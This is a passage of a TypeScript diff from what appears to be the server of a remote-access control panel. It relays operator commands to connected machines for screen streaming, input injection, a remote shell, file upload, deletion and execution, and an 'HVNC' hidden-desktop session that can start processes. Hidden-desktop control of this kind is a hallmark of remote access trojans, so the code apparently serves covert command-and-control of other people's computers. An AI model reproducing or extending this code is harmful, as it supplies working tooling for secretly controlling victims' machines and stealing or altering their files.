const fmt = header?.format === "blocks" ? 2 : header?.format === "blocks_raw" ? 3 : 1;
|
||||
meta[6] = fmt;
|
||||
meta[7] = 0;
|
||||
|
||||
const buf = new Uint8Array(meta.length + bytes.length);
|
||||
buf.set(meta, 0);
|
||||
buf.set(bytes, meta.length);
|
||||
ws.send(buf);
|
||||
metrics.recordBytesSent(buf.length);
|
||||
return buf.length;
|
||||
} catch (err) {
|
||||
logger.error("[rd] viewer frame send failed", err);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
|
||||
export const rdStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; duplication: boolean }>();
|
||||
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
|
||||
const RD_INPUT_TTL_MS = 10_000;
|
||||
|
||||
function pruneRdInputPending(now = Date.now()) {
|
||||
for (const [id, pending] of rdInputPending.entries()) {
|
||||
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
|
||||
rdInputPending.delete(id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function recordRdInput(commandId: string, clientId: string, kind: string) {
|
||||
pruneRdInputPending();
|
||||
rdInputPending.set(commandId, { clientId, sentAt: Date.now(), kind });
|
||||
}
|
||||
|
||||
export function notifyRdInputLatency(commandId: string) {
|
||||
const pending = rdInputPending.get(commandId);
|
||||
if (!pending) return;
|
||||
rdInputPending.delete(commandId);
|
||||
|
||||
const ms = Date.now() - pending.sentAt;
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== pending.clientId) continue;
|
||||
safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
|
||||
}
|
||||
}
|
||||
|
||||
function logRdSend(header?: any) {
|
||||
const now = Date.now();
|
||||
if (now - rdSendStats.lastLog < 5000) return;
|
||||
const frames = rdSendStats.frames || 1;
|
||||
const avgMs = rdSendStats.sendMs / frames;
|
||||
const avgBytes = rdSendStats.bytes / frames;
|
||||
const fpsAgent = header?.fps ?? "?";
|
||||
logger.debug(`[rd] send avg=${avgMs.toFixed(2)}ms size=${Math.round(avgBytes)}B frames=${rdSendStats.frames} agent_fps=${fpsAgent}`);
|
||||
rdSendStats.lastLog = now;
|
||||
rdSendStats.frames = 0;
|
||||
rdSendStats.sendMs = 0;
|
||||
rdSendStats.bytes = 0;
|
||||
}
|
||||
|
||||
function sendConsoleCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
|
||||
if (!target) return false;
|
||||
try {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: uuidv4() }));
|
||||
metrics.recordCommand(commandType);
|
||||
return true;
|
||||
} catch (err) {
|
||||
logger.error("[console] send command failed", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function sendDesktopCommandWithId(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>, commandId: string) {
|
||||
if (!target) return false;
|
||||
try {
|
||||
logger.debug(`[rd] send command ${commandType} -> ${target.id}`);
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: commandId }));
|
||||
metrics.recordCommand(commandType);
|
||||
return true;
|
||||
} catch (err) {
|
||||
logger.error("[rd] send command failed", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function sendDesktopCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
|
||||
return sendDesktopCommandWithId(target, commandType, payload, uuidv4());
|
||||
}
|
||||
|
||||
function startConsoleForViewer(target: ClientInfo | undefined, sessionId: string, cols = 120, rows = 36) {
|
||||
return sendConsoleCommand(target, "console_start", { sessionId, cols, rows });
|
||||
}
|
||||
|
||||
export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: string) {
|
||||
return sendConsoleCommand(target, "console_stop", { sessionId });
|
||||
}
|
||||
|
||||
export function notifyConsoleClosed(clientId: string, reason: string) {
|
||||
for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
|
||||
sessionManager.deleteConsoleSession(sessionId);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleConsoleViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId, sessionId } = ws.data;
|
||||
const effectiveSessionId = sessionId || uuidv4();
|
||||
ws.data.sessionId = effectiveSessionId;
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: ConsoleSession = { id: effectiveSessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addConsoleSession(session);
|
||||
safeSendViewer(ws, {
|
||||
type: "ready",
|
||||
sessionId: effectiveSessionId,
|
||||
clientId,
|
||||
clientOnline: !!target,
|
||||
host: target?.host || clientId,
|
||||
os: target?.os,
|
||||
user: target?.user,
|
||||
});
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId: effectiveSessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId: effectiveSessionId });
|
||||
startConsoleForViewer(target, effectiveSessionId);
|
||||
}
|
||||
|
||||
export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllRdSessions().set(sessionId, session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
||||
}
|
||||
|
||||
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "status",
|
||||
status,
|
||||
reason,
|
||||
sessionId: session.id,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload) return;
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
|
||||
|
||||
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
switch (payload.type) {
|
||||
case "desktop_start":
|
||||
if (!state.isStreaming) {
|
||||
sendDesktopCommand(target, "desktop_start", {});
|
||||
state.isStreaming = true;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] started streaming for client ${clientId}`);
|
||||
} else {
|
||||
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
|
||||
}
|
||||
break;
|
||||
case "desktop_stop":
|
||||
sendDesktopCommand(target, "desktop_stop", {});
|
||||
if (state.isStreaming) {
|
||||
state.isStreaming = false;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] stopped streaming for client ${clientId}`);
|
||||
} else {
|
||||
rdStreamingState.set(clientId, { ...state, isStreaming: false });
|
||||
logger.debug(`[rd] stop requested while not streaming for client ${clientId}`);
|
||||
}
|
||||
break;
|
||||
case "desktop_select_display": {
|
||||
const newDisplay = Number(payload.display) || 0;
|
||||
if (state.display !== newDisplay) {
|
||||
logger.debug(`[rd] changing display from ${state.display} to ${newDisplay}`);
|
||||
sendDesktopCommand(target, "desktop_select_display", { display: newDisplay });
|
||||
state.display = newDisplay;
|
||||
rdStreamingState.set(clientId, state);
|
||||
} else {
|
||||
logger.debug(`[rd] ignoring duplicate display select ${newDisplay}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "desktop_set_quality": {
|
||||
const newQuality = Number(payload.quality) || 90;
|
||||
if (state.quality !== newQuality) {
|
||||
sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: payload.codec || "" });
|
||||
state.quality = newQuality;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] set quality to ${newQuality}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "desktop_enable_mouse":
|
||||
sendDesktopCommand(target, "desktop_enable_mouse", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "desktop_enable_keyboard":
|
||||
sendDesktopCommand(target, "desktop_enable_keyboard", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "desktop_enable_cursor":
|
||||
sendDesktopCommand(target, "desktop_enable_cursor", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "desktop_set_duplication": {
|
||||
const enabled = !!payload.enabled;
|
||||
if (state.duplication !== enabled) {
|
||||
sendDesktopCommand(target, "desktop_set_duplication", { enabled });
|
||||
state.duplication = enabled;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] set duplication to ${enabled}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "mouse_move": {
|
||||
if (!state.isStreaming) break;
|
||||
const rawX = (payload as any).x;
|
||||
const rawY = (payload as any).y;
|
||||
const commandId = uuidv4();
|
||||
recordRdInput(commandId, clientId, "mouse_move");
|
||||
sendDesktopCommandWithId(target, "desktop_mouse_move", { x: Number(rawX) || 0, y: Number(rawY) || 0 }, commandId);
|
||||
break;
|
||||
}
|
||||
case "mouse_down": {
|
||||
if (!state.isStreaming) break;
|
||||
const commandId = uuidv4();
|
||||
recordRdInput(commandId, clientId, "mouse_down");
|
||||
sendDesktopCommandWithId(target, "desktop_mouse_down", { button: Number(payload.button) || 0 }, commandId);
|
||||
break;
|
||||
}
|
||||
case "mouse_up": {
|
||||
if (!state.isStreaming) break;
|
||||
const commandId = uuidv4();
|
||||
recordRdInput(commandId, clientId, "mouse_up");
|
||||
sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId);
|
||||
break;
|
||||
}
|
||||
case "key_down": {
|
||||
if (!state.isStreaming) break;
|
||||
const commandId = uuidv4();
|
||||
recordRdInput(commandId, clientId, "key_down");
|
||||
sendDesktopCommandWithId(target, "desktop_key_down", { key: payload.key || "", code: payload.code || "" }, commandId);
|
||||
break;
|
||||
}
|
||||
case "key_up": {
|
||||
if (!state.isStreaming) break;
|
||||
const commandId = uuidv4();
|
||||
recordRdInput(commandId, clientId, "key_up");
|
||||
sendDesktopCommandWithId(target, "desktop_key_up", { key: payload.key || "", code: payload.code || "" }, commandId);
|
||||
break;
|
||||
}
|
||||
case "text_input": {
|
||||
if (!state.isStreaming) break;
|
||||
const commandId = uuidv4();
|
||||
recordRdInput(commandId, clientId, "text_input");
|
||||
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function handleRemoteDesktopFrame(payload: any) {
|
||||
const clientId = payload.clientId as string;
|
||||
const header = payload.header;
|
||||
const bytes = payload.data as Uint8Array;
|
||||
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
|
||||
if (!state.isStreaming) {
|
||||
rdStreamingState.set(clientId, { ...state, isStreaming: true });
|
||||
}
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
||||
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
rdSendStats.frames += 1;
|
||||
rdSendStats.bytes += sentBytes;
|
||||
rdSendStats.sendMs += t1 - t0;
|
||||
}
|
||||
logRdSend(header);
|
||||
}
|
||||
|
||||
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
||||
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
rdSendStats.frames += 1;
|
||||
rdSendStats.bytes += sentBytes;
|
||||
rdSendStats.sendMs += t1 - t0;
|
||||
sent = true;
|
||||
}
|
||||
logRdSend(header);
|
||||
return sent;
|
||||
};
|
||||
|
||||
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number }>();
|
||||
|
||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllHvncSessions().set(sessionId, session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
||||
}
|
||||
|
||||
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getAllHvncSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "status",
|
||||
status,
|
||||
reason,
|
||||
sessionId: session.id,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload) return;
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90 };
|
||||
|
||||
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
switch (payload.type) {
|
||||
case "hvnc_start":
|
||||
if (!state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_start", {});
|
||||
state.isStreaming = true;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] started streaming for client ${clientId}`);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
|
||||
}
|
||||
break;
|
||||
case "hvnc_stop":
|
||||
if (state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_stop", {});
|
||||
state.isStreaming = false;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
||||
}
|
||||
break;
|
||||
case "hvnc_select_display": {
|
||||
const newDisplay = Number(payload.display) || 0;
|
||||
if (state.display !== newDisplay) {
|
||||
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
|
||||
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
|
||||
state.display = newDisplay;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_set_quality": {
|
||||
const newQuality = Number(payload.quality) || 90;
|
||||
if (state.quality !== newQuality) {
|
||||
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: payload.codec || "" });
|
||||
state.quality = newQuality;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] set quality to ${newQuality}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_enable_mouse":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_keyboard":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_cursor":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_mouse_move":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
case "hvnc_mouse_down":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", { button: Number(payload.button) || 0 });
|
||||
break;
|
||||
case "hvnc_mouse_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", { button: Number(payload.button) || 0 });
|
||||
break;
|
||||
case "hvnc_mouse_wheel":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
case "hvnc_key_down":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_key_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
||||
}
|
||||
|
||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
for (const session of sessionManager.getAllHvncSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewerFrame(session.viewer, bytes, header);
|
||||
sent = true;
|
||||
}
|
||||
return sent;
|
||||
};
|
||||
|
||||
const textDecoder = new TextDecoder();
|
||||
|
||||
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload) return;
|
||||
if (!payload || typeof payload.type !== "string") {
|
||||
return;
|
||||
}
|
||||
|
||||
const { clientId, sessionId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
|
||||
switch (payload.type) {
|
||||
case "input": {
|
||||
const data = typeof payload.data === "string" ? payload.data : "";
|
||||
sendConsoleCommand(target, "console_input", { sessionId, data });
|
||||
break;
|
||||
}
|
||||
case "resize": {
|
||||
const cols = Number(payload.cols) || 120;
|
||||
const rows = Number(payload.rows) || 36;
|
||||
sendConsoleCommand(target, "console_resize", { sessionId, cols, rows });
|
||||
break;
|
||||
}
|
||||
case "stop": {
|
||||
if (!sessionId) break;
|
||||
stopConsoleOnTarget(target, sessionId);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleConsoleOutput(payload: any) {
|
||||
const sessionId = payload.sessionId as string;
|
||||
if (!sessionId) return;
|
||||
const session = sessionManager.getConsoleSession(sessionId);
|
||||
if (!session) return;
|
||||
const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : "";
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "output",
|
||||
sessionId,
|
||||
data,
|
||||
exitCode: payload.exitCode,
|
||||
error: payload.error,
|
||||
});
|
||||
if (payload.exitCode !== undefined || payload.error) {
|
||||
const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`;
|
||||
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
|
||||
sessionManager.deleteConsoleSession(sessionId);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { AuditAction, logAudit } from "../auditLog";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import { normalizeFileUploadPayload } from "../fileTransfers";
|
||||
|
||||
type FileBrowserViewer = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
type ProcessViewer = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
type WsViewerClusterDeps = {
|
||||
pendingHttpDownloads: Map<string, unknown>;
|
||||
consumeHttpDownloadPayload: (payload: any) => Promise<void> | void;
|
||||
};
|
||||
|
||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
return JSON.parse(raw);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
try {
|
||||
const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
|
||||
return msgpackDecode(buf);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||||
try {
|
||||
ws.send(msgpackEncode(payload));
|
||||
} catch (err) {
|
||||
logger.error("[viewer] send failed", err);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleFileBrowserViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllFileBrowserSessions().set(sessionId, session);
|
||||
ws.data.sessionId = sessionId;
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
export function handleFileBrowserViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
logger.debug(`[DEBUG] File browser message from viewer for client ${clientId}:`, payload.type, payload.commandType || "");
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
logger.debug(`[DEBUG] Client ${clientId} not found - sending offline status`);
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
|
||||
if (payload.type === "command") {
|
||||
if (typeof payload.commandType !== "string") return;
|
||||
logger.debug(`[DEBUG] Handling command type: ${payload.commandType}`);
|
||||
const actualPayload = payload.payload || {};
|
||||
switch (payload.commandType) {
|
||||
case "file_read":
|
||||
logger.debug(`[DEBUG] Forwarding file_read to client ${clientId}:`, actualPayload.path);
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_read", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_read");
|
||||
break;
|
||||
case "file_write":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_write");
|
||||
break;
|
||||
case "file_search":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_search");
|
||||
break;
|
||||
case "file_copy":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_copy", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_copy");
|
||||
break;
|
||||
case "file_move":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_move", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_move");
|
||||
break;
|
||||
case "file_chmod":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_chmod", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_chmod");
|
||||
break;
|
||||
case "file_execute":
|
||||
logger.debug(`[DEBUG] Forwarding file_execute to client ${clientId}:`, actualPayload.path);
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: payload.id || commandId, payload: actualPayload } as any));
|
||||
metrics.recordCommand("file_execute");
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
switch (payload.type) {
|
||||
case "file_list":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: commandId, payload: { path: payload.path || "" } } as any));
|
||||
metrics.recordCommand("file_list");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: (ws.data as any).username || "unknown",
|
||||
ip: ws.data.ip || "unknown",
|
||||
action: AuditAction.FILE_LIST,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: payload.path || "" }),
|
||||
success: true,
|
||||
});
|
||||
break;
|
||||
case "file_download":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: commandId, payload: { path: payload.path || "" } } as any));
|
||||
metrics.recordCommand("file_download");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: (ws.data as any).username || "unknown",
|
||||
ip: ws.data.ip || "unknown",
|
||||
action: AuditAction.FILE_DOWNLOAD,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: payload.path || "" }),
|
||||
success: true,
|
||||
});
|
||||
break;
|
||||
case "file_upload": {
|
||||
const upload = normalizeFileUploadPayload(payload);
|
||||
if (!upload) return;
|
||||
target.ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload",
|
||||
id: commandId,
|
||||
payload: {
|
||||
path: upload.path,
|
||||
data: upload.data,
|
||||
offset: upload.offset,
|
||||
total: upload.total,
|
||||
transferId: upload.transferId,
|
||||
},
|
||||
} as any));
|
||||
metrics.recordCommand("file_upload");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: (ws.data as any).username || "unknown",
|
||||
ip: ws.data.ip || "unknown",
|
||||
action: AuditAction.FILE_UPLOAD,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: upload.path, size: upload.data.length, offset: upload.offset }),
|
||||
success: true,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "file_delete": {
|
||||
const deleteCommandId = payload.commandId || commandId;
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: deleteCommandId, payload: { path: payload.path || "" } } as any));
|
||||
metrics.recordCommand("file_delete");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: (ws.data as any).username || "unknown",
|
||||
ip: ws.data.ip || "unknown",
|
||||
action: AuditAction.FILE_DELETE,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: payload.path || "" }),
|
||||
success: true,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "file_mkdir": {
|
||||
const mkdirCommandId = payload.commandId || commandId;
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: mkdirCommandId, payload: { path: payload.path || "" } } as any));
|
||||
metrics.recordCommand("file_mkdir");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: (ws.data as any).username || "unknown",
|
||||
ip: ws.data.ip || "unknown",
|
||||
action: AuditAction.FILE_MKDIR,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: payload.path || "" }),
|
||||
success: true,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "file_zip": {
|
||||
const zipCommandId = payload.commandId || commandId;
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: zipCommandId, payload: { path: payload.path || "" } } as any));
|
||||
metrics.recordCommand("file_zip");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: (ws.data as any).username || "unknown",
|
||||
ip: ws.data.ip || "unknown",
|
||||
action: AuditAction.FILE_ZIP,
|
||||
targetClientId: clientId,
|
||||
details: JSON.stringify({ path: payload.path || "" }),
|
||||
success: true,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "command_abort":
|
||||
target.ws.send(encodeMessage({ type: "command_abort", commandId: payload.commandId } as any));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleFileBrowserMessage(clientId: string, payload: any, deps: WsViewerClusterDeps) {
|
||||
const type = payload?.type as string | undefined;
|
||||
const isHttpDownload =
|
||||
